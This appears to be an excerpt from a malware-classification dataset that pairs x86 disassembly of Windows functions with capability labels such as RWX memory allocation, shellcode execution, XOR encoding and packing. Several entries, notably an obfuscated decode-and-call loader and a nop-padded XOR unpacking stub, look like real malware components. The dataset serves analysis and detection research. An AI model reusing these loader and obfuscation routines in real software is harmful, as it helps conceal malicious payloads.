joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10045005
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push edi
push eax
push 0x40
pop ebx
push ebx
mov edi, 0x1000
push edi
push 0x4c0000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x4eb000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x502000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x50a000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x50b000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x533000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x609000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x60d000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x60f000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x642000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x648000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x64c000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x687000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x6a0000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x6ae000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x729000
call esi
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0x742000
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100650df
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov edx, dword [esp + 0x10]
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea esi, [edx - 1]
mov ebp, esi
push edi
mov edi, dword [esp + 0x1c]
mov ecx, edi
sar ebp, 1
mov dword [esp + 0x10], edi
mov dword [esp + 0x1c], esi
cmp edi, ebp
jge 0x10065141
lea esi, [ecx + ecx]
mov eax, dword [ebx + esi*8 + 8]
mov ecx, dword [ebx + esi*8 + 0x10]
add eax, 4
push eax
add ecx, 4
call fcn.10065f89
movzx ecx, al
xor ecx, 1
inc ecx
add ecx, esi
mov eax, dword [ebx + ecx*8]
mov dword [ebx + edi*8], eax
mov eax, dword [ebx + ecx*8 + 4]
mov dword [ebx + edi*8 + 4], eax
mov edi, ecx
cmp ecx, ebp
jl 0x10065105
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x1c]
cmp ecx, ebp
jne 0x1006515b
test dl, 1
jne 0x1006515b
mov eax, dword [ebx + edx*8 - 8]
mov dword [ebx + edi*8], eax
mov eax, dword [ebx + edx*8 - 4]
mov dword [ebx + edi*8 + 4], eax
mov edi, esi
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x18]
push edi
push ebx
call fcn.100651df
add esp, 0x14
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10080baa
Capabilities:
Get common file path

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
mov ebp, dword [esp + 0x10]
cmp byte [ebx + 1], 0x3a
je 0x10080c04
push esi
push edi
push ebp
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea edi, [ebp - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10080bcb
mov ax, word [0x100d0bdc]
mov esi, ebx
mov word [edi], ax
mov al, byte [ebx]
inc ebx
test al, al
jne 0x10080bde
sub ebx, esi
lea edi, [ebp - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10080bea
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
jmp 0x10080c12
mov eax, ebp
sub eax, ebx
mov cl, byte [ebx]
mov byte [eax + ebx], cl
inc ebx
test cl, cl
jne 0x10080c08
mov eax, ebp
pop ebp
pop ebx
ret

Function at 0x10094f75
Capabilities:
Parse credit card information

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
xor cl, cl
push edi
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x100950cc
push 0x29
pop edi
mov ebp, 0x10000000
cmp eax, 0x7c
je 0x100950cc
cmp eax, edi
jne 0x10094fb7
cmp dword [esi + 0x10], 0
mov eax, edi
jne 0x100950cc
cmp eax, edi
jne 0x10094fb7
test dword [esi + 0x50], ebp
je 0x100950db
cmp eax, 0x2e
jne 0x10094fd2
push 5
lea ecx, [esi + 0x24]
call fcn.10096a3b
mov ecx, esi
call fcn.10096a79
jmp 0x100950b7
cmp eax, 0x5c
jne 0x10095024
mov ecx, esi
call fcn.10096a79
test byte [esi + 0x50], 0x80
je 0x10095018
mov al, byte [esi + 0x48]
cmp al, 0x62
jne 0x10095001
push 4
lea ecx, [esi + 0x24]
call fcn.10096a3b
mov ecx, esi
call fcn.10096a79
jmp 0x100950be
cmp al, 0x42
jne 0x10095018
push 4
lea ecx, [esi + 0x24]
call fcn.10096a3b
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x10094ff5
mov ecx, esi
call fcn.100950e5
jmp 0x100950b7
cmp eax, 0x5b
jne 0x10095044
mov ecx, esi
call fcn.10096a79
mov ecx, esi
call fcn.10095596
cmp dword [esi + 0x4c], 0x5d
je 0x10094fc6
push 4
jmp 0x100950dd
cmp eax, 0x28
jne 0x10095060
mov ecx, esi
call fcn.10096a79
mov ecx, esi
call fcn.10096d4a
mov bl, al
cmp dword [esi + 0x4c], edi
jne 0x100950db
jmp 0x100950ac
cmp eax, 0x5e
jne 0x10095069
push 2
jmp 0x10094fed
cmp eax, 0x24
jne 0x10095075
push 3
jmp 0x10094fed
cmp eax, 0x2a
je 0x100950d7
cmp eax, 0x2b
je 0x100950d7
cmp eax, 0x3f
je 0x100950d7
cmp eax, 0x7b
je 0x100950d7
cmp eax, 0x7d
jne 0x10095093
test dword [esi + 0x50], ebp
je 0x100950d3
cmp eax, 0x5d
jne 0x1009509d
test dword [esi + 0x50], ebp
je 0x1009503d
movzx eax, byte [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.100948fb
mov bl, 1
mov ecx, esi
call fcn.10096a79
test bl, bl
je 0x100950be
mov ecx, esi
call fcn.10096aa7
mov eax, dword [esi + 0x4c]
mov cl, 1
cmp eax, 0xffffffff
jne 0x10094f91
pop edi
pop esi
pop ebp
mov al, cl
pop ebx
ret
push 6
jmp 0x100950dd
push 0xa
jmp 0x100950dd
push 5
mov ecx, esi
call fcn.100962d1
int3

Function at 0x100980c8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
neg eax
sbb eax, eax
and eax, dword [ebp + 8]
leave
ret
Function at 0x100b8adb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100b895a

Function at 0x100bc430
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100bc335
Function at 0x443b6d
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
push edi
lea eax, [ebp - 4]
push eax
push 0x40137c
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor edi, edi
test eax, eax
jne 0x443bdd
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push 0x4051e0
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x443bd4
cmp dword [ebp - 0xc], 4
jne 0x443bd4
cmp dword [ebp - 0x10], edi
je 0x443bd4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [0x611298], edi
xor eax, eax
jmp 0x443c1c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x611298], edi
jge 0x443c17
lea eax, [ebp - 0x34]
push eax
mov dword [0x611298], edi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
cmp word [ebp - 0x34], di
jne 0x443c17
cmp word [ebp - 0x14], 5
jb 0x443c17
call fcn.005e4f1e
test eax, eax
je 0x443c17
emms
mov dword [0x611298], 1
mov eax, dword [0x611298]
pop edi
leave
ret

Function at 0x4ce00e
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [0x629890]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp + 0x20]
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp + 0x24]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0xb4], esi
mov dword [ebp - 0xb0], edi
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
cmp dword [ebp - 0x88], 2
je 0x4ce10b
mov edi, dword [sym.imp.kernel32.dll_WideCharToMultiByte]
xor esi, esi
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
push ebx
push esi
push esi
call edi
mov dword [ebp - 0xac], eax
add eax, 3
and eax, 0xfffffffc
call fcn.0060a0d0
cmp dword [ebp - 0xac], esi
mov dword [ebp - 0xa8], esp
jne 0x4ce0bc
push 0x40607c
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov eax, 0x8876086c
jmp 0x4ce136
push esi
push esi
push dword [ebp - 0xac]
push dword [ebp - 0xa8]
push 0xffffffffffffffff
push ebx
push esi
push esi
call edi
fld dword [ebp + 0x18]
push dword [ebp - 0xa4]
push dword [ebp - 0x9c]
push dword [ebp - 0xa0]
push ecx
push ecx
fstp dword [esp + 4]
fld dword [ebp + 0x14]
fstp dword [esp]
push dword [ebp - 0xa8]
push dword [ebp - 0xb0]
push dword [ebp - 0xb4]
call fcn.005e4f1e
jmp 0x4ce136
fld dword [ebp + 0x18]
push 1
push dword [ebp - 0xa4]
push dword [ebp - 0x9c]
push dword [ebp - 0xa0]
push ecx
push ecx
fstp dword [esp + 4]
fld dword [ebp + 0x14]
fstp dword [esp]
push ebx
push edi
push esi
call fcn.005e4f1e
lea esp, [ebp - 0xc0]
mov ecx, dword [ebp - 4]
call fcn.0060a5a9
pop edi
pop esi
pop ebx
leave
ret 0x20
Function at 0x5884d2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
xor ebx, ebx
push esi
xor esi, esi
cmp dword [ebp + 8], ebx
mov dword [ebp - 4], ebx
je 0x58860b
cmp dword [ebp + 0xc], ebx
je 0x58860b
push 0x4215e0
push dword [ebp + 8]
call sub.msvcrt.dll_fopen
cmp eax, ebx
pop ecx
pop ecx
mov dword [ebp + 8], eax
je 0x58860b
push edi
push eax
push 6
lea eax, [ebp - 0x1c]
push 4
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
cmp eax, 6
jne 0x5885ed
cmp dword [ebp - 0x1c], ebx
je 0x5885ed
cmp dword [ebp - 0x18], ebx
je 0x5885ed
cmp dword [ebp - 0x14], ebx
je 0x5885ed
cmp dword [ebp - 8], ebx
je 0x58855a
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jne 0x5885ed
push 0x2c
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x588571
mov ecx, eax
call fcn.005883c2
mov esi, eax
jmp 0x588573
xor esi, esi
cmp esi, ebx
jne 0x58857e
mov edi, 0x8007000e
jmp 0x5885f2
cmp dword [ebp - 8], ebx
push dword [ebp - 0x14]
mov ecx, esi
push dword [ebp - 0x18]
je 0x588598
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.005e4f1e
jmp 0x5885a0
push dword [ebp - 0x1c]
call fcn.005e4f1e
mov edi, eax
cmp edi, ebx
mov eax, dword [esi]
jge 0x5885b1
push 1
mov ecx, esi
call dword [eax + 0x4c]
jmp 0x5885f2
lea ecx, [ebp - 4]
push ecx
push dword [ebp - 0x1c]
push ebx
push esi
call dword [eax + 0x28]
mov edi, eax
cmp edi, ebx
jl 0x5885f2
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x18]
push dword [ebp + 8]
shl eax, 2
push dword [ebp - 0x1c]
push eax
push dword [ebp - 4]
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x1c], eax
jne 0x5885ed
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
xor edi, edi
jmp 0x5885f2
mov edi, 0x8876086c
cmp dword [ebp - 4], ebx
je 0x5885fd
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
push dword [ebp + 8]
call sub.msvcrt.dll_fclose
pop ecx
mov eax, edi
pop edi
jmp 0x588610
mov eax, 0x8876086c
pop esi
pop ebx
leave
ret 8
Function at 0x58861b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x629890]
mov ecx, dword [ebp + 0xc]
push ebx
xor ebx, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
xor esi, esi
cmp eax, ebx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x10], ebx
mov word [ebp - 0xc], 0x72
mov word [ebp - 0xa], 0x62
mov word [ebp - 8], bx
je 0x588770
cmp ecx, ebx
je 0x588770
lea ecx, [ebp - 0xc]
push ecx
push eax
call sub.msvcrt.dll__wfopen
cmp eax, ebx
pop ecx
pop ecx
mov dword [ebp - 0x2c], eax
je 0x588770
push edi
push eax
push 6
lea eax, [ebp - 0x28]
push 4
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
cmp eax, 6
jne 0x588752
cmp dword [ebp - 0x28], ebx
je 0x588752
cmp dword [ebp - 0x24], ebx
je 0x588752
cmp dword [ebp - 0x20], ebx
je 0x588752
cmp dword [ebp - 0x14], ebx
je 0x5886bf
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x28]
jne 0x588752
push 0x2c
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x5886d6
mov ecx, eax
call fcn.005883c2
mov esi, eax
jmp 0x5886d8
xor esi, esi
cmp esi, ebx
jne 0x5886e3
mov edi, 0x8007000e
jmp 0x588757
cmp dword [ebp - 0x14], ebx
push dword [ebp - 0x20]
mov ecx, esi
push dword [ebp - 0x24]
je 0x5886fd
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call fcn.005e4f1e
jmp 0x588705
push dword [ebp - 0x28]
call fcn.005e4f1e
mov edi, eax
cmp edi, ebx
mov eax, dword [esi]
jge 0x588716
push 1
mov ecx, esi
call dword [eax + 0x4c]
jmp 0x588757
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp - 0x28]
push ebx
push esi
call dword [eax + 0x28]
mov edi, eax
cmp edi, ebx
jl 0x588757
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x24]
push dword [ebp - 0x2c]
shl eax, 2
push dword [ebp - 0x28]
push eax
push dword [ebp - 0x10]
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x28], eax
jne 0x588752
mov eax, dword [ebp - 0x30]
mov dword [eax], esi
xor edi, edi
jmp 0x588757
mov edi, 0x8876086c
cmp dword [ebp - 0x10], ebx
je 0x588762
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
push dword [ebp - 0x2c]
call sub.msvcrt.dll_fclose
pop ecx
mov eax, edi
pop edi
jmp 0x588775
mov eax, 0x8876086c
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.0060a5a9
leave
ret 8
Function at 0x58940d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
xor esi, esi
cmp dword [ebp + 8], esi
mov dword [ebp - 8], esi
je 0x58957f
cmp dword [ebp + 0xc], esi
je 0x58957f
push 0x4215e0
push dword [ebp + 8]
call sub.msvcrt.dll_fopen
cmp eax, esi
pop ecx
pop ecx
mov dword [ebp + 8], eax
je 0x58957f
push ebx
push eax
push 8
lea eax, [ebp - 0x2c]
push 4
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
cmp eax, 8
je 0x589468
mov ebx, 0x8876086c
jmp 0x589571
cmp dword [ebp - 0x2c], esi
push edi
je 0x58955d
cmp dword [ebp - 0x28], esi
je 0x58955d
cmp dword [ebp - 0x24], esi
je 0x58955d
cmp dword [ebp - 0x18], esi
je 0x589499
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x2c]
jne 0x58955d
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x10]
push 0x38
mov dword [ebp - 4], eax
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, esi
pop ecx
je 0x5894b7
mov ecx, eax
call fcn.0058935c
mov esi, eax
test esi, esi
mov dword [ebp - 8], esi
jne 0x5894c8
mov ebx, 0x8007000e
jmp 0x589562
push dword [ebp - 0x18]
mov ecx, esi
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call fcn.005e4f1e
mov ebx, eax
test ebx, ebx
jl 0x589562
mov ecx, dword [esi + 0x20]
push dword [ebp + 8]
mov eax, dword [esi + 0x18]
push dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov ebx, dword [esi + 0x1c]
lea ecx, [edi + 1]
imul ecx, dword [ebp - 0x24]
imul ecx, dword [ebp - 0x28]
shl ecx, 2
push ecx
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 4], eax
jne 0x58955d
push dword [ebp + 8]
mov eax, edi
push dword [ebp - 0x2c]
shl eax, 2
push eax
push ebx
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x2c], eax
jne 0x58955d
cmp dword [ebp - 4], 1
je 0x589554
push dword [ebp + 8]
push dword [ebp - 0x2c]
push 4
push dword [ebp - 0xc]
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x2c], eax
jne 0x58955d
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
xor ebx, ebx
jmp 0x589570
mov ebx, 0x8876086c
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x589570
mov eax, dword [ecx]
push 1
call dword [eax + 0x44]
pop edi
push dword [ebp + 8]
call sub.msvcrt.dll_fclose
pop ecx
mov eax, ebx
pop ebx
jmp 0x589584
mov eax, 0x8876086c
pop esi
leave
ret 8
Function at 0x58958e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x629890]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
xor esi, esi
cmp eax, esi
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x18], esi
mov word [ebp - 0xc], 0x72
mov word [ebp - 0xa], 0x62
mov word [ebp - 8], si
je 0x58971c
cmp ecx, esi
je 0x58971c
lea ecx, [ebp - 0xc]
push ecx
push eax
call sub.msvcrt.dll__wfopen
cmp eax, esi
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
je 0x58971c
push ebx
push eax
push 8
lea eax, [ebp - 0x38]
push 4
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
cmp eax, 8
je 0x589605
mov ebx, 0x8876086c
jmp 0x58970e
cmp dword [ebp - 0x38], esi
push edi
je 0x5896fa
cmp dword [ebp - 0x34], esi
je 0x5896fa
cmp dword [ebp - 0x30], esi
je 0x5896fa
cmp dword [ebp - 0x24], esi
je 0x589636
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x38]
jne 0x5896fa
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x1c]
push 0x38
mov dword [ebp - 0x14], eax
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, esi
pop ecx
je 0x589654
mov ecx, eax
call fcn.0058935c
mov esi, eax
test esi, esi
mov dword [ebp - 0x18], esi
jne 0x589665
mov ebx, 0x8007000e
jmp 0x5896ff
push dword [ebp - 0x24]
mov ecx, esi
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
call fcn.005e4f1e
mov ebx, eax
test ebx, ebx
jl 0x5896ff
mov ecx, dword [esi + 0x20]
push dword [ebp - 0x10]
mov eax, dword [esi + 0x18]
push dword [ebp - 0x14]
mov dword [ebp - 0x3c], ecx
mov ebx, dword [esi + 0x1c]
lea ecx, [edi + 1]
imul ecx, dword [ebp - 0x30]
imul ecx, dword [ebp - 0x34]
shl ecx, 2
push ecx
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x14], eax
jne 0x5896fa
push dword [ebp - 0x10]
mov eax, edi
push dword [ebp - 0x38]
shl eax, 2
push eax
push ebx
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x38], eax
jne 0x5896fa
cmp dword [ebp - 0x14], 1
je 0x5896f1
push dword [ebp - 0x10]
push dword [ebp - 0x38]
push 4
push dword [ebp - 0x3c]
call sub.msvcrt.dll_fread
add esp, 0x10
cmp dword [ebp - 0x38], eax
jne 0x5896fa
mov eax, dword [ebp - 0x40]
mov dword [eax], esi
xor ebx, ebx
jmp 0x58970d
mov ebx, 0x8876086c
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x58970d
mov eax, dword [ecx]
push 1
call dword [eax + 0x44]
pop edi
push dword [ebp - 0x10]
call sub.msvcrt.dll_fclose
pop ecx
mov eax, ebx
pop ebx
jmp 0x589721
mov eax, 0x8876086c
mov ecx, dword [ebp - 4]
pop esi
call fcn.0060a5a9
leave
ret 8
Function at 0x5b5e0e
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebx
push esi
mov esi, ecx
push edi
mov dword [esi], 0x422f1c
call fcn.005e4f1e
lea ebx, [esi + 0x30]
mov ecx, ebx
call fcn.005e4f1e
push dword [esi + 0x3c]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov edi, dword [esi + 0x48]
test edi, edi
je 0x5b5e4a
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov edi, dword [esi + 0x4c]
test edi, edi
je 0x5b5e61
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov eax, dword [esi + 0x50]
xor edi, edi
cmp eax, edi
je 0x5b5eab
cmp dword [eax], edi
jbe 0x5b5e94
mov eax, dword [esi + 0x50]
mov eax, dword [eax + 0xc]
push dword [eax + edi*4]
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov eax, dword [esi + 0x50]
mov eax, dword [eax + 0xc]
push dword [eax + edi*4]
call sub.msvcrt.dll_free
mov eax, dword [esi + 0x50]
inc edi
cmp edi, dword [eax]
pop ecx
jb 0x5b5e6e
mov edi, dword [esi + 0x50]
test edi, edi
je 0x5b5eab
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov edi, dword [esi + 0x54]
test edi, edi
je 0x5b5ec2
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
cmp byte [esi + 0x5c], 0
je 0x5b5ed8
cmp dword [esi + 0x44], 1
jne 0x5b5ee6
push dword [esi + 0x2c]
call fcn.005e4f1e
jmp 0x5b5ee6
cmp dword [esi + 0x44], 1
jne 0x5b5ee6
push dword [esi + 0x2c]
call fcn.005e4f1e
push dword [esi + 0x2c]
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 8]
pop ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, ebx
call fcn.005b69f5
lea ecx, [esi + 0x1c]
call fcn.005b918b
pop edi
lea ecx, [esi + 0xc]
pop esi
pop ebx
jmp fcn.005b33bb

Function at 0x5bf250
Capabilities:
Check for software breakpoints

Disassembly:
cmp dword [esi + 0x14], 0xcc
je 0x5bf273
mov eax, dword [esi + 0x1a8]
push esi
call dword [eax]
mov dword [esi + 0x8c], 0
mov dword [esi + 0x14], 0xcc
mov ecx, dword [esi + 0x1a8]
mov eax, dword [ecx + 8]
test eax, eax
je 0x5bf299
mov eax, dword [esi]
push esi
mov dword [eax + 0x14], 0x30
call dword [eax]
mov edx, dword [esi + 0x1a8]
mov eax, dword [edx + 8]
test eax, eax
jne 0x5bf280
mov edx, dword [esi + 0x44]
xor eax, eax
test edx, edx
setne al
add eax, 0xcd
mov dword [esi + 0x14], eax
mov eax, 1
ret
Function at 0x5e4f1e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x5e4f2d
pop dword [ebp - 0x2c]
mov eax, 0xc18e064c
add eax, 0x3ed048e1
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x71fff
push 0
mov eax, 0xbd42663a
add eax, 0x42fdaabe
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x68af922e
add ecx, 0x9750b1f7
xor edi, edi
add edi, eax
mov ebx, 0xbe5c292b
add ebx, 0x420904d5
add ebx, dword [ebp - 0x2c]
mov esi, 0x4aafd182
add esi, 0xee8e1dcd
sub dword [ebp - 0x1c], 0xbe493b04
mov edx, dword [ebx]
xor dword [ebp - 0x24], ebx
sub edx, esi
sub dword [ebp - 0x20], ecx
mov dword [edi], edx
sub dword [ebp - 0x14], 0xdef8a1dc
add edi, 4
add ebx, 0x1006e01f
sub ebx, 0x1006e01b
loop 0x5e4f8e
add eax, 0x9b7c538
add eax, 0xf6493e2f
mov ebx, eax
add eax, 0xa3f7ffd6
add eax, 0x5c08002f
mov ecx, 0xcce046e8
sub ecx, 0xcca046e8
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x7fc5325b
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..tls
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x54416484
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219